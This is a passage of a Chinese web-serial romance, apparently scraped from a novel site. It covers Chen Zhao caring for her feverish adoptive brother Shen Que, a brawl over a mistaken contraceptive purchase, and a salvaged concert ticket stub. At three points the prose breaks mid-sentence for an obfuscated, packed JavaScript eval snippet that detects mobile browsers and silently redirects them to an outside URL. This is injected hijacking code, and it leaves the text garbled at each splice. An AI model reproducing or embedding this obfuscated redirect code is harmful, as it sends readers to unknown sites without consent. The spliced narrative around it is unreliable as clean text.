对方的意思是想让她明天启程,刚好有人能在聆海接她回去。 陈昭回头看向他,笑了笑:“我总要回去的。” 沈确眉头一皱,不明白陈昭这话是什么意思。 但心里却无端涌来沮丧,他学着陈昭那样笑了笑,蹲在地上不言语。 旁人看着感觉他好像喝多了有些难受。 蔡叔还赶紧跑过来,关切道:“没事吧?” 就在这时,蔡奇顶着鸡窝头,风风火火地冲到他们面前:“爸!确哥,你们怎么在一起啊?不是,确哥怎么喝恁多酒啊?一股子酒味!” 说完便扶起沈确欲带他离开:“爸,你送昭姐他们回去吧,我带确哥回去。” 沈确的手搭在他的肩膀上,临走前还不忘回头看了陈昭一眼,低落的目光像针一样狠狠刺在陈昭心脏上。 看着两人的背影,陈昭深深吸了一口气。 她并不打算走。 即便孟均搬出孟太,想让她回去看看她。 她也不打算回明港过年。 有必要的话,打个电话慰问下就行了。 毕竟她现在和孟均那点法律层面上的关系都没有了,有些事情就该当断则断,互不干涉。 尤其是她连新丽都全部交了出去,未来的生活,她不想把重点放在明港。 然而她的沉默,却让沈确记在心里。 次日一大早,蔡奇急急忙忙地跑到小楼,敲响了陈昭阁楼的门。 陈昭刚开门,就听到蔡奇开口:“昭姐,确哥他……他这会一个人在诊所呢,我还有点事要离岛,你要不要过去陪他挂水?顺便把这早点给他带过去。” 闻言,陈昭有些纳闷:“他在诊所?” “是啊,我刚刚才接到的电话,说是他同事大早上发现他晕在了宿舍里。哎呀反正你过去看一下就知道怎么回事。如果真有什么大事,你和我在手机上说一声,喏,这是我微信,昭姐你加一下。” 他说完后把一笼小笼包递给陈昭,又打开了微信的扫码页。 陈昭还没完全清醒,机械式的完成这些任务后,才转头去洗漱,换上厚实的外套前往蔡奇说的诊所。 清晨的太阳还没从云层中破出来,诊所在海岸路旁,成群的海鸥乌泱泱地飞过路边。 陈昭来到诊所,第一眼就看见坐在木桌旁的男生。 他半躺在简陋的竹椅上,唇色苍白的半低着头,病容衬的他的眼窝更深了一些,脸色也是一片苍白,仿佛把我很虚弱这几个字写在了脸上。 看到他这个样子,她忽然就想起了第一次给沈确守夜的经历。 住校的他平时都很节俭,那会陈昭刚把他从姑姑那接到自己身边,姑姑去世前,她也没有去询问过姑姑平常会给多少生活费给这个男孩。 她想当然的以为,姑姑会给他一张卡,他但凡需要,一切支出都从卡上扣。 毕竟姑姑是真把他当成亲儿子来养。 所以那会陈昭也给了他一张卡。 里面有足够的资金,自己也从未管过他平时的开支用度,只让他在学校认真学习,别亏待他自己就行。 但她万万没想到,住校的沈确会节省到一个礼拜用不到三百块。 在明港,还是私立学校,这个数字简直和贫困人没什么两样。 为此,陈昭特意找助理去了解过他在学校的相关信息,因为她知道自己主动去问,是问不到什么的。 助理后来告诉她,沈确一日只吃两顿饭,而且都在学校食堂吃。 至于其他的什么娱乐活动,零嘴,买东西,统统没有。 所以陈昭当时觉得他那么消瘦,肯定是没有好好吃饭,导致的营养不良。 于是她在一个周末,破天荒地提前下班回家,只为带沈确去吃顿大餐。 他们来到苏拉港口的顶楼餐厅,彼时港口还在放着烟花,那偌大的窗户,将流光溢彩的明港一览无遗。 陈昭让他多吃一些,点了各种各样的美食。 当时不知道他喜欢吃什么,于是每样都来了一点,并且还相当郑重地告诉沈确。 “我带你到身边住,不是让你来吃苦的。给你那张卡,虽然不提倡你无节制的消费,但也不要你节省到虐待自己的地步。” “你既然被我和姑姑带回明港,保证你健康成人都是我们的责任,你也不必因此有负担,听到吗?” “你现在每周不到三百的用法,我真怀疑你是在虐待自己。” 沈确有些局促,规规矩矩地回答她:“昭姐,对我而言三百已经足够了,我吃的挺好的。” “你像是吃的很好的样子吗?” 陈昭放下筷子,指着那满满当当的一桌子美食:“这才叫吃的好,今天多吃一些,以后一个礼拜你必须要花到八百左右,光是吃的,明白吗?” “我吃不了那么多,我……” “除了吃饭,还有日常的水果零嘴,以及牛奶等饮品。你现在是成长期,也是学习用脑的时候,这些都是必需品。” 陈昭不给他反驳的机会,果断替他做了决定,带着强制。 后来她将此事吐槽给赵写茹的时候,赵写茹都笑称:“碰上你这种家长,小孩心里也很为难。” 其实陈昭也很认同写茹的话。 因为那天晚上,她必须让沈确多吃一些,沈确也按照她的意思去做。 哪怕已经吃不下了,也逼着自己无声无息的吃了下去。 直接导致大晚上的积食,又引发肠胃炎。 本是忍着难受去厨房倒水,结果疼到杯子摔碎,引起陈昭的注意。 等她下楼一看,发现满脸苍白的沈确挣扎着要从地上站起来。 陈昭脸色骤变,连忙将他扶起,第一时间打了急救电话。 送到急诊后,确诊是肠胃炎,当时陈昭看着挂在一旁整整八瓶药水,心里一揪,挪开眼睛后深叹了一口气。 她盯着沈确,眼神发紧地问道,不知道自己的话带着一番逼视:“你吃不了怎么不说?” 沈确长睫半敛,只感到抱歉。 轻言说了对不起三个字,却无端让陈昭更来火。 “这不是需要你道歉的事,我只是希望你能表达出来。” 她意识到自己的态度有些凶悍,就像她在公司,对待一而再再而三犯错的下属那般严肃又无情。 可他不是自己的下属,他只是一个不想让自己失望,处处小心翼翼的小孩。 所以陈昭极力放平自己的情绪,耐心了一些:“我们是家人,你不用觉得亏欠。” “我想让你吃好,过好,开开心心的,姑姑也是一样。” 陈昭努力扯出一个笑容,让自己看起来没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14788782|156429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那么严肃。 看到沈确柔软又略显脆弱的眼神,陈昭的心也彻底软下来。 她难得在别人面前放下所有尖刺,坦然的将温和一面献给对方。 “当然,我也有做的不对的地方,没及时考虑到你的需求,也未能站在你的角度上想问题,抱歉。” 沈确愕然地抬头,看到女人将自己的外套脱下罩在了自己身上。 不等他开口,陈昭便不给他拒绝的理由:“你现在是病人,不能受寒。” 随即又拍了拍他的肩膀,坐在了病床旁边的沙发上。 她后来又强调了一遍:“我们是彼此的家人,我陪你打针,照顾你,都是我愿意的。可能以后的某个时候,我也需要你了呢?” 当时的沈确将这话深深记在了心里。 觉得他们是彼此需要的人。 可他没想到过,彼此需要,不一定是唯一。 - 陈昭一直觉得,沈确身上有种天然的脆弱感。 他不轻易对外人表露,但自己却能时不时的感受到。 当然,随着他慢慢长大,和自己时隔多年未见,这些脆弱也被他的锋芒所掩盖。 可是现在他又成了病人,闭着眼睛躺在竹椅上打针,那些脆弱感又被陈昭看在了眼里。 她收起回忆,和以前那样将外套盖在他的身上。 沈确立马惊醒,他怔了一下,瞬间感受到带着温度的外套,将他整个上半身包裹,暖意蔓延在他的周身。 他双眸黑润,带着一些久病难耐的潮湿感,连带着说话声音都变的无比沙哑。 他坐起来,把衣服递过去:“你几点的船?别迟到了。” 陈昭把外套重新给他穿好,又把包子递到他面前:“再不吃就凉了。” 沈确咳嗽几声,就连旁边挂水的阿姨都受不了他这样子,心疼道:“小沈你还好吧?让老卢给你多开点药,下药猛一些好得快。” 说完还笑盈盈地看向陈昭说道:“不过有你姐照顾你,也不必下那么大的药剂。” 闻言,陈昭有些愕然。 她对渔村的人还没认全呢,怎么感觉谁都知道她是沈确的姐姐了。 看来沈确这几年在岛上不白混。 沈确笑了笑,相当自然的回复阿姨:“我姐她等会就要走了,有点事。” 阿姨一听,马上开口:“你都烧成这样了,身边不能离人的啊!难不成还要一个人去宿舍吃也吃不好,休也休息不好吗?” 说完赶紧对陈昭交代:“姑娘,刚才医生说小沈发炎了,还挺严重呢,这几天要格外注意休养。你有什么事能缓缓就缓缓吧,小沈好不容易有个姐姐照顾,自己一个人扛着病太可怜了。” “哎呦你是不知道,去年小沈也是大病了一场,我这个当邻居的看着都心疼呢。要不是杨指导,恐怕他……” “宋婶。” 沈确打断宋婶的话,轻笑道:“我一个大老爷们,生个病不至于这样。” 然而陈昭却听出了宋婶的话中之意,直问:“去年他怎么了?” 直觉告诉他,应该是发生了什么自己应该知道,但又不知道的事。 于是她追问下去,宋婶欲言又止,最终讪讪一笑,言简意赅:“肺炎,拖着不治,最后在社区医院住院了好长时间呢。” “我去年在研究院兼职清洁工,还给小沈送过几次饭。你说说他一个外地人,在这无亲无故的,生了病都没人照顾,我这当长辈的看了都心疼。” “不过话说回来,小沈你不能老为了工作不锻炼自己,你还年轻可别把身子给搞垮了啊。” 沈确略显窘迫,只能以苦笑回应宋婶。 可陈昭却按照宋婶说的话脑补了当时他的模样。 尽管她也一个人住院,一个人挺过生病的难受时刻,但也正因为如此,更能共情躺在病床上,身边空无一人的脆弱感。 那种痛感被无限放大,情绪也被无限放大,就连平常不敢想的一些人,一些事,都开始反反复复的在脑海中萦绕徘徊。 渴望如同雨后春笋,带着欲望,贪婪,还有平时都不敢想的一些奢求,全部冒了出来。 所以,去年他这个时候,会不会想到自己这个唯一的家人? 然而自己却和他没有联系,彼此也不敢联系,跟别说在他身边了。 陈昭眼眶有些发热,借着倒水的间隙调整了情绪。 “我没打算这么快回明港,中午想吃点什么?我帮你去买。” 听闻此话,沈确眼睫半敛,唇边的小涡逐渐加深:“我以为你要给我做。” 陈昭失笑,打趣道:“长公主十指不沾阳春水,谁来也不例外。” 这会沈确的脸色以肉眼可见的速度好多了。 卢医生借着给他开了一些药,陈昭去买单,顺便把药给他收好,叮嘱他要一天吃几次什么的。 也不知道是不是这两天温差大的原因,卢医生的诊所里陆陆续续的来了不少病人。 本就不大的桌子,已经挤满了打针的人。 陈昭把椅子让给其他病人,沈确搬来个小板凳放到自己身边,示意陈昭在自己身边坐下。 陈昭本想婉拒,但又觉得他一脸可怜兮兮的样子,自己如果就这样走了,好像也不太好。 索性挨着他坐下来。 她现在不用处理工作上的事,也没有刷手机的瘾,倒是对周围的村民说八卦很感兴趣。 沈确眼中溢笑,忍不住的唤她:“姐姐。” 一开始陈昭还以为自己听错了,这裹挟着一丝少年嗓音独有的清冽质地的声音,让她仿佛瞬间回到十七岁沈确这么唤自己的时候。 在她的诧异之下,沈确反问:“你什么时候喜欢听别人闲聊了?” 换做以前,别说闲聊了,就连多停留一点时间听别人说话都难。 因为忙碌是她的常态,雷厉风行的陈昭,恨不得直接住在公司。 新丽上上下下,都知道他们有个无比敬业的董事长。 此刻陈昭只是笑笑,还未来得及开口,蔡奇气喘吁吁地跑过来:“确哥你没事吧?” “你怎么来了?” “我办完事了啊,给你和昭姐带了点吃的。” 说完拿出一些好吃的,趁着陈昭去洗水果,蔡奇连忙俯在沈确耳边邀功。 “我是不是把任务完成的很好?确哥你是不知道,早上那会,我就差没把你说成绝症了!你看昭姐着急忙慌的就过来了,她心里可是还有你这个弟弟呢。” 说完又别有深意地杵了杵沈确胳膊,再次压低声音,佩服道。 “要说狠还是你够狠,我就从没见过为了把自己弄生病,大晚上的去冬泳的选手。” 沈确咳了咳,认真道:“生病是真。” “我知道我知道嘛!为了拦住昭姐不回去,也是难为你了。” 沈确还想说点什么,陈昭走了过来,穿过门口的几个人,把水果递到二人面前。 蔡奇盯着她笑得很奇怪,陈昭有些疑惑:“我脸上有东西?” “不不不,我就觉得……昭姐你长得挺漂亮。” 说完就被沈确在桌下踢了一脚,蔡奇连忙往后一缩,退出人群后冷不丁地瞥到刘润生鬼鬼祟祟地和卢医生说了点什么。 蔡奇示意沈确看过去:“那是刘润生吧?这小子哪不舒服吗?脸色那么不好?” “我也没见着周竹君啊,确哥我跟你说啊,最近这两家伙不知道在谋划什么,成天一起出去。要不是我了解他们,我都怀疑这两人早恋呢!” 陈昭顺着他们的目光看去,认出了那个叫刘润生的男孩,是此前帮芬姐干活的男生,也是竹君的同学兼发小。 两家住的不远,平常在路上遇见,他还会礼貌的唤她一声姐姐。 等他走了一会后,蔡奇出于关心,趁着卢医生过来给沈确拔针,多问了一句。 “哎老卢,刚刚那小子找你买什么药了?他哪不舒服吗?” 卢医生一顿,看向门口,小声道:“避孕药。” “什么?!” 蔡奇像弹簧一样瞬间弹跳而起,两眼瞪得老大,一脸的不敢置信:“你没搞错吧?那小子买这种药??” 卢医生示意他小声点,周围还有其他人呢。 这下蔡奇哪坐得住啊,刘润生那小子,整日和周竹君呆在一起,两人毛都还没长齐呢!!哪能做这些事?! 顿时拔腿就冲出诊所,要趁着刘润生没走多远,赶紧追上去问问看情况。 看他风风火火的样子,拔完针的沈确赶紧追了上去。 陈昭见状,也只能跟过去。 然而情绪上头的蔡奇可听不进沈确在背后说什么话,看到前方的刘润生后,他更是加快脚步。 结果还没走到面前,他们三人就看见刘润生把装药的袋子递到周竹君的口袋里。 周竹君脸色不太好看,拿过药后又靠在刘润生胳膊上,让他扶着自己走路。 “这两人是吃了熊心豹子胆啊!!周竹君她脑子瓦特了?还有那刘润生,那刘润生他丫的一畜生啊!敢拱我家白菜?!” 说完捋起袖子便冲上去嘶吼了一声:“刘润生!!你小子,给老子过来!” “我看你是活腻了,胆肥成这样啊?!” 一脸茫然的刘润生很是不解的愣在原地,还没反应过来,就结结实实地挨了蔡奇一拳头。 吓得周竹君赶紧将他护在身后:“哥你疯了!刘润生又没得罪你,你打他干什么啊?” 17. 017. 此刻蔡奇瞪着大眼,出言不逊:“你说我打他做什么?他丫的一畜生啊,我不教训他谁来教训他?!” 说完一把将周竹君推开,揪起刘润生的衣领,拽到跟前又是两拳头下去。 “哥!哥你住手!”周竹君急的上去死死抱住蔡奇的腰,怎么都不放手。 一旁的陈昭和沈确哪里还闲得下来,沈确劝住蔡奇,让他冷静点,陈昭也尽可能地开口:“有什么事好好说,不要上来就动手。” “竹君,你先去扶你同学。” 听到陈昭的话,周竹君后知后觉地连忙起身,趁着陈昭和沈确控制蔡奇,她赶紧把被打蒙的刘润生拉起来。 “你没事吧?!” 刘润生那白净的小脸上淤青了一片,看得周竹君焦急不已。 她忍不住地怒吼了蔡奇一声:“哥你到底在干什么!人家刘润生也没得罪你啊,你好端端地冲上来就把他一顿干,你看看他的脸!” 这会蔡奇满脑子的怒火,指着这两个高中生警告他们。 “我知道你们胆肥,但也没想到你们胆子肥到这种地步!” “你,周竹君,你一个女孩子,怎么不替自己想想!你怎么就……” 话还没说完,蔡奇忽然挣脱沈确的手,抬手便朝刘润生扑去。 眼疾手快的周竹君赶紧把刘润生推去一边,也就是在这时,她手里的塑料袋应声而落,散开之后,海风瞬间将里面的小票等东西吹了起来! 呼地一下被吹到半空中,往海边而飞! “我的票!!” 周竹君和刘润生两人瞬间瞪大双眼,毫不犹豫地朝那几张纸的方向跑过去。 只可惜还是晚了一步,他们眼睁睁地看着那几张像纸一样的东西,被海风卷下海岸,瞬间消失在眼前。 一时间周竹君号啕哭出声:“我的票我的票!!” 说完也不顾蔡奇愕然的神情,捋起裤腿就往海岸边的礁石下跑。 蔡奇他们见状,赶紧上前阻拦她。 “你干嘛!!” 他们根本阻拦不了她,连带着刘润生也一起走到了礁石下,淌入冰冷的海水里想找到那几张票。 蔡奇更是一头雾水,还是刘润生告诉沈确他们。 “那几张票是竹君花高价买的她偶像的纪念会票,上面有EC签名的!而且为了攒这些钱,她卖了好几个月的鱿鱼干才凑齐。” 陈昭微愣,难怪周竹君急成这副模样。 上次因为心疼芬姐,她宁肯不去最喜欢的偶像,EC的演唱会,即便他难得来聆海开了一场,她也控制了自己。 如今能攒钱买到这些,对她而言肯定意义非凡。 然而就这样轻飘飘地被吹进海里。 蔡奇脸色尴尬,但还是郑重打断他的话:“现在是说这事的时候吗?你给她偷偷买了避孕药,闯出这么大的祸……” “蔡奇哥你在说什么?我什么时候给她买过这种药?” 不等蔡奇吼完,刘润生一脸诧异地反问。 怔愣之际,还是沈确将事情给理清楚:“刚刚你去卢医生那买了什么药给竹君?” 刘润生老实回答,甚至把裤兜里自己留的一盒递过去。 “消食片,我两中午吃太多了。” 看着那盒健胃消食片,蔡奇受到剧烈冲击,一时间都不知道该如何反应。 人还没来得及开口,周竹君已经一拳头冲他鼻子揍过来。 “蔡奇你神经啊!!”她一边抽着鼻子,一边委屈呜咽。 “我的纪念票丢了就算了,还要被你诬陷怀孕?我一个清清白白的高中生被你泼脏水你就不愧疚吗?!呜呜呜,我的票……” 她伫在原地,索性就哭个痛快了,好似要把愤怒和委屈还有丢票的心痛都发泄出来。 这倒是让蔡奇松口气的同时,也感到愧疚不已。 他连忙杵了杵沈确的胳膊讪笑道:“原来是误会,误会!” “确哥,咱们也别闲着了,赶紧帮她找票啊!这会没浪,看看有没有在岸边,都找找。” 说完又看到刘润生微微肿起的脸蛋,心里更是过意不去。 蔡奇捧起他的脸,由衷道歉:“阿生啊,哥也不是有意揍你,哥纯纯误会!我就说你平时那么听话懂事的孩子,怎么可能做出这种事来!” 刘润生倒是淡定得很,别开目光就去帮竹君找票了。 可大半会下来,别说票了,就连一张纸的影子都没看到过。 周竹君彻彻底底地伤心了,好像怎么哭都哭不够似的,哪怕蔡奇想尽办法哄她,也只有她的无视。 眼看要下雨,天气也冷,几人没办法只能陪着竹君先回饭店。 她的眼睛肿成了核桃,一路上都哭得没停歇过。 陈昭也不知道如何安慰才好,只能寄希望于蔡奇这个罪魁祸首。 而他如今也是没办法,尤其是到饭店门口,还碰到了蔡叔。 她看到竹君委屈成这样,连忙担心不已地看过来,质问身后的几人。 “竹君这是怎么了?”问完又看到了刘润生的脸,更是吓了一跳! “谁打你们了啊?!发生什么事了?” 周竹君带着哭腔将事情一口气给倒出来,蔡奇还想解释,蔡叔竟然直接抄过旁边的扫把,一把扇到蔡奇的脑瓜上。 瞬间空中尘土飞扬,沈确连忙揽过陈昭,不让她被无辜波及。 蔡叔也是被气到:“我说你脑子是不是不好使啊?天天在家呆着呆傻了吧?!” “这事你都能搞错?你让竹君一个小姑娘怎么想啊?我早就说过,让你出岛出岛!还给你找了个师傅带你干活,你非要赖在这,赖在这孤岛上有什么好的?” “我看你已经呆傻了!” 蔡奇没想到分明说的是A事,这都能扯到B事上。 瞬间就像个刺猬受惊似的:“这两件事有什么关系吗?!你别老是把你的想法强加在我身上好吧?!” 蔡奇灵活躲开蔡叔的攻击,情绪上头,还不忘刺激蔡叔:“我出岛就是有出息了吗?” “你以前也出岛混了啊,混了那么多年混成什么样子你自己不清楚么?你不照样回来啃老?现在一事无成,就觉得我不能走你老路,非要替我做决定是吧?!” “你这……王八蛋!” 蔡叔的火气被他蹭的一下点燃,蔡奇更是被激起几天以来的怒意。 “你是我爸,但也不代表我事事都得听你的!我就要呆岛上,就要……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14795132|156429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “叔,叔你冷静点。” 沈确看到这父子俩越演越烈,不得不上前当这个和事佬。 一旁的周竹君也不哭了,反倒是有些害怕这两父子来真的,也赶紧招呼刘润生一起参与到沈确的劝架中来。 闹哄哄的现场,让陈昭有些瞠目结舌。 说实话,她还是第一次见到这种场面。 有些……闹腾,也有些让她不知所措,但意外的她又有点心疼这父子俩,也意外的有些羡慕。 可作为当事人,上头之际哪还想到这些。 被蔡奇彻底气到的蔡叔奋起挣扎,只想狠狠揍这臭小子一顿。 结果在几人的推攘之下,堆在旁边的几个铁桶被碰倒。 陈昭意识到危险,下意识地抱住沈确为他挡了下。 下一秒,只听见铁桶噼里啪啦砸下的声音,陈昭的脑子也嗡嗡的一片响。 等周遭安静了后,周围人的声音才接连不断地闯进来。 “陈昭!” “昭昭姐你没事吧?” “陈小姐你怎么样了?” …… 研究院宿舍。 陈昭把卢医生开的药放到桌面上,转身叮嘱他。 “这两天伤口不要碰水,按时吃药,吃药的次数什么的卢医生都写在了药盒上。” 她的目光挪到沈确被绷带包扎的小臂上。 刚刚她去挡下掉落的几个铁桶,但没想到,沈确反手护住她的头,因此被掉落的一个铁桶提手划破了手臂。 瞬间就渗了血。 因为提手裸露的锋利部分又生了锈,处理伤口后又去社区医院打了一针破伤风。 缝了伤口后,陈昭拎着那袋子药送他回来。 当然,一路上蔡叔他们也在,对此他和蔡奇父子两人都是愧疚不已,父子两的交火也不得不停下。 此时屋里只剩陈昭和他了。 陈昭看了一眼窗外,小雨淅淅沥沥地打在窗户上,雨水顺着玻璃不规则地流下雨痕。 她这时本想走,但没有带伞,犹豫之际,沈确走到冰箱里拿出昨天在芬姐那打包的饭菜。 “我去热饭,吃了再走。” 他没有给陈昭拒绝的机会,果断拎着饭盒进厨房。 陈昭收敛心里莫名涌动的情绪,脸色淡定地上前:“我来,你是伤患,老实坐着就好。” 沈确心情很好,虽然表面很平静,但眉眼却带着温和的弧度。 这会陈昭主动揽活,他也不推脱。 就这样倚在台面上盯着她忙碌。 看着她的碎发从耳后掉落,顺着柔和的脸颊线条而下,整个人都平静了。 陈昭无意间的抬眼,看到他眉眼带笑,一副看她闹笑话的样子,不禁轻嗤了声。 “你这什么眼神?” “虽然我做饭手艺很一般,但热饭还是没难度的。不过话说回来,你做饭手艺难道就很好么?” 话落,沈确的目光,随他勾起的嘴角,别有深意地灼灼而来。 “我做饭的手艺怎么样,你应该再清楚不过。” “毕竟只有你一个人尝过。” 陈昭手里的勺子猛地滑了一下。 她下意识抬眼,目光复杂。 18. 018. 只一瞬的怔愣,陈昭已经恢复如常。 就当没有听出那句话背后的意思,当然,也许只是她多想了。 她重新摆盘,眉目淡然下来。 沈确敛神看她,仿佛要捕捉她什么,目光追逐过去,却只看到陈昭的平静如水。 他下巴微昂,嘴角闪过一丝不易察觉的笑意,面色镇定地打开了电视。 几近落灰的电视机,色彩不明艳,而他也习惯进屋只开地灯。 平时昏暗的环境,却因为她的到来变得莫名温馨。 杨指导他们来过他的宿舍,没有一个人不吐槽他宿舍暗的。 一般宿舍的标配,是有个顶灯,不过顶灯太暗,所以大家住进来后都会去换个瓦数大一些的灯泡。 可这几年,沈确从未换过,只买了一盏地灯而已。 别人不知道,沈确这个习惯,还是跟着陈昭来的。 她和姑姑都一样,只喜欢在家开着落地灯,曾经他出于好奇,问过陈昭为什么,明亮一点的环境不是更好么? 但陈昭却告诉她:“昏暗的环境能让我平静下来,也能更深入的思考。” 抱着半信半疑的态度,他也学着这样做,后来才发现好像是真的。 不过时间久了,他却有了另一种想法。 人在这种环境下呆着,也跟容易审视自己,更能让情绪滋长。 还有…… 正想着,陈昭忽然出声:“柜子里的这些肉你不拿出来吗?” 沈确顺势看去,发现陈昭从橱柜里拿出了几个礼盒,里面是几块整齐的腊肉。 看起来是谁送给他的。 沈确这才想起来,走过去把礼盒拿到跟前,他垂眸看着陈昭长长的眼睫,冷不丁地开口问。 “什么时候回明港过年?” 闻言,陈昭几乎都没想,下意识地浅笑:“你不是不想我这么快走么?” 说完后恍然过来,无奈一笑,不等沈确开口,她提前说。 “我们好不容易修复关系,既然是家人,就应该在一起过年。” 像曾经那些只有他们两人和姑姑一起的日子。 自打老太太离世之后,陈家人就再也没一起聚在一起过年。 陈昭以前都是和老太太一起,偶尔会加上姑姑,但后来,就只有和姑姑了。 不过也多了一个沈确。 如今姑姑不在,陈昭已经独自一个人过了好几个年,今年总算不再是一个人,她心里还莫名有些期待。 雀跃之际,冷不丁地撞进沈确那双黢黑的深瞳中。 她正经脸色别开目光,然而此时他却说了很煞风景的话。 “姐夫也过来?” “我这地方小,容不下那么多人。” 陈昭抬眼,喉咙里涌过一丝干涸。 “孟均他……和我……” 脱口而出的话,却在说出几个字后欲言又止。 陈昭垂下眼神,思虑了一会,还是收回后面的话,只道:“他没空过来。” 沈确眉眼轻动,下一秒失神的陈昭没注意台面上的刀,猛地碰了下刀柄,那把刀竟然垂直掉下! 她下意识往后一缩,哐当撞进沈确的胸腔里。 那把刀也应声落地,砸在陈昭的脚背上。 陈昭呼吸一滞,连忙将他拉到身后,有些紧张地盯着他脚背问:“你没事吧?” 言语里的紧张之意,呼之欲出。 殊不知,她的发梢蹭过沈确的脖颈,令他瞬间想起曾经两人之间为数不多的一些触碰。 他第一次觉得女人发香,便是从陈昭发丝上闻到的。 那是他和陈昭第一次两个人过年,陈昭或许对她自己的厨艺有深刻的自我认知,大年三十那天开了平时三倍的工资,请到一位大厨特意在她住宅里做了满满一桌子的美食。 但后来她又觉得仪式感不足,叫上沈确去厨房,两人亲自动手做一道菜。 她思来想去,就做了一个极为简单的蒸螃蟹。 不过在处理螃蟹之时,其中一只挣脱了绳索,一钳子夹住她的手指,疼的她倒吸一口凉气!猛地撞到沈确的胸膛上。 沈确眼疾手快,迅速握住她的腕骨,将身边的剪刀插入螃蟹钳子的软点,轻轻分离钳子。 饶是看似镇定的他,却因为陈昭柔软的头发堆积他脖颈,她移动间,发梢又撩过他的肌肤,奇痒难耐,令他喉间有些缺氧之感。 下一秒沈确便迅速撤回自己的手,垂于身侧,攥紧了发热的掌心。 但鼻尖一直萦绕着她发间的香气。 “没事了,还好没有夹出伤口,用凉水冲洗一下吧。” 趁着替陈昭打开水龙头的间隙,他平复了下心情,也极力忍住了自己想要抱她的冲动。 然而回到现在,看到她关心自己的脸,他也在极力克制要拥抱她的冲动,并且佯装镇定,坦然迎接今年只有他们两个人的团圆夜。 即便现在有个所谓的“姐夫”横亘在他们中间,但沈确也不以为然了。 在小岛上,他们两人之间的关系,是那位姐夫永远插足不了的。 想起后续自己想做的那些事,他并没有自以为的道德感约束,这个时候,沈确好像放出了那个库尔马西。 从小便又争又抢的马西。 陈昭将饭菜从微波炉里拿出来,简单吃了个饭后不再停留,先回了阁楼。 而这个夜晚,对他们来说注定不平静,她心绪翻涌,一如窗外再次下起的春雨,敲打在门外的竹椅上。 同样思绪翻涌的还有周竹君。 错失了最珍贵的签名票根,她感觉自己整个世界都灰暗了。 红肿的眼睛就像两颗核桃一般,饶是明知道芬姐在房外踱步想劝慰她,她也装作没听见似的,把自己蒙在被子里呜咽不止。 直到窗户咚咚响了好几声,她才抽泣着一脸烦躁地掀开被子。 两眼气冲冲地看向声音响来处后,赫然发现刘润生竟然蹲在她的窗户外面! 这可是三楼! 竹君马上推开窗户,将他一把拉到屋里:“你疯了啊,大半夜的爬什么窗户,不怕掉下去吗?!还有啊,你掉海里了?浑身湿漉漉的不怕冻着?” “哦我知道,掉海里不敢回去怕你妈见着捶你是吧?”她虽然现在很气,但还是从柜子里拿了干净的毛巾和自己宽大的T ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14815705|156429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恤还有校服给他。 男孩唇角掠过一丝浅笑,接过衣服后看到她红肿的眼睛和脸蛋,小声问:“你就这么伤心吗?” “废话!”周竹君一屁股坐到凳子上,她觉得刘润生应该最能理解自己才对。 “且不说我偶像签名的票根多重要,光是我花的那些钱打水漂了,我能不伤心难过吗?!” “我卖了多少鱿鱼干啊,嘴皮子都说破了,当个客服还要被人问候全家!线下我不服就干,线上我还要委屈自己给人当孙子,不就是挣那点窝囊费么?” “现在好了,啥也没有了!你要是来安慰我的那就免了,我……” 她的话还没说完,忽然看到刘润生从衣兜里掏出熟悉的票根。 顿时周竹君收住话,一脸难以置信地看过去。 “这是?” 凑近一看,只见她双眼陡然发亮,瞬间激动地抓住票根狠狠亲了一口! “我的天,我没做梦吧?你找回来了?!” 她以为还在做梦呢,兴奋的直跳脚,甚至弹跳起来给了刘润生一个大大的拥抱! “啊啊啊啊,小润生啊,我的好大儿啊!你太好了吧?!!你从哪里捡到的?” 听到好大儿这三个字的时候,刘润生上扬的嘴角微微垂下,从后面掐着她的脖子拽到跟前,郑重问:“谁是你儿子?” 周竹君嘿嘿一笑,赶紧改口:“我,我是你好大儿行不行?!你简直是我的再生父母,你这浑身湿漉漉的,该不会就是帮我一直在海边捡票吧?呜呜呜,这都能被你捡到,说明什么!” 刘润生抬眼,清润了嗓音:“说明什么?” “当然是说明EC是我本命啊!!我们不该分开我靠!!” 她还真是……没救。 不过见她这么高兴,刘润生也不觉得自己辛苦了。 他拿着毛巾擦拭了下头发,竹君多有眼力见啊,赶紧帮他脱了外套:“快,换上干衣服!可别感冒了啊。” 见她小手胡乱而来,刘润生立刻退避三舍,红到了耳根处:“不用。” 周竹君微微眯眼,见他明显的不好意思起来,顿时调侃道:“哎呦,腼腆润生不好意思了呗!” “咱两谁跟谁啊,你还不好意思啥?” 说完又要帮他换衣服,但却被刘润生郑重拦下:“男女有别。” 一听这话,竹君简直是一脸的地铁里老爷爷看手机的模样。 “迂腐!古板啊!” “拉倒,免得到时候你还说我轻薄你。” 